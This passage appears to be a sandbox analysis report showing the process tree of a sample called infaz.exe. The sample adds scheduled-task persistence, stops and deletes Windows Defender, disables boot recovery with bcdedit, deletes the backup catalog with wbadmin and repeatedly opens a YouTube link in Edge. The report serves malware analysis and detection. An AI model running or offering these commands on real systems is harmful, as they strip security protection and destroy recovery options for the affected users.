    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=174 --always-read-main-dll --metrics-shmem-handle=16844,i,17435644471235945442,14535306577985754654,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=22808 /prefetch:1
    3⤵
    PID:6124
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5760
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4272
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7096
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:3644
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7140
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6224
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5504
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4596
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7048
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1492
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:3644
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6616
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6736
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6256
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6596
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6220
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9140
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9076
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5976
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8700
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8736
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1560
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9048
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2560
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9052
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1204
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8612
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6376
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7940
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:3884
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5232
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2872
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6696
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9340
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9604
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9736
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9836
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:10004

C:\Users\Admin\AppData\Local\Temp\infaz.exe
C:\Users\Admin\AppData\Local\Temp\infaz.exe
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\infaz.exe" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2356
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\infaz.exe" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop WinDefend >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:956
- - C:\Windows\system32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:2608
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5060
- - C:\Windows\system32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:1652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4732
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4004
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\ProgramData\Microsoft\Windows Defender" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f "C:\Program Files\Windows Defender" /r /d y >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1120
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Program Files\Windows Defender" /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Program Files\Windows Defender" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4416
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wbadmin delete catalog -quiet >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4832
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7128
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7000
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:3888
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5308
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6364
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7044
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6612
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:6220
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8684
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:4480
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8972
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8752
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5848
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1560
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:3348
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1264
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8912
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8700
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1444
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:3348
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8992
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7156
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1768
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:8928
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7404
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:2112
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7396
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:5792
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:7912
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:1088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9320
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9596
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9724
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:9932
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:10028

